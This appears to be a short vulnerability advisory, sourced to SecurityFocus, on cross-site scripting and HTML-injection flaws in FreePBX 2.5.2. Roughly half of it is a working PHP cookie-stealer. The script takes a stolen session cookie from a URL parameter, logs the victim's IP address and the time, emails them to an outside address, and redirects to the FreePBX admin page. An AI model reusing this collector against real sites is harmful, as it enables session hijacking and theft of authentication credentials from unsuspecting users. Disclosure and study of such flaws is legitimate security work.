source: http://www.securityfocus.com/bid/37482/info FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. FreePBX 2.5.2 is vulnerable; other versions may also be affected. $cookie = $_GET['nice']; $ip = getenv("REMOTE_ADDR"); $Time = date("l dS of F Y h:i:s A"); $msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time"; $subject = "cookie"; mail("notification@global-evolution.info", $subject, $msg); header ("location: http://127.0.0.1:8080/admin/"); ?>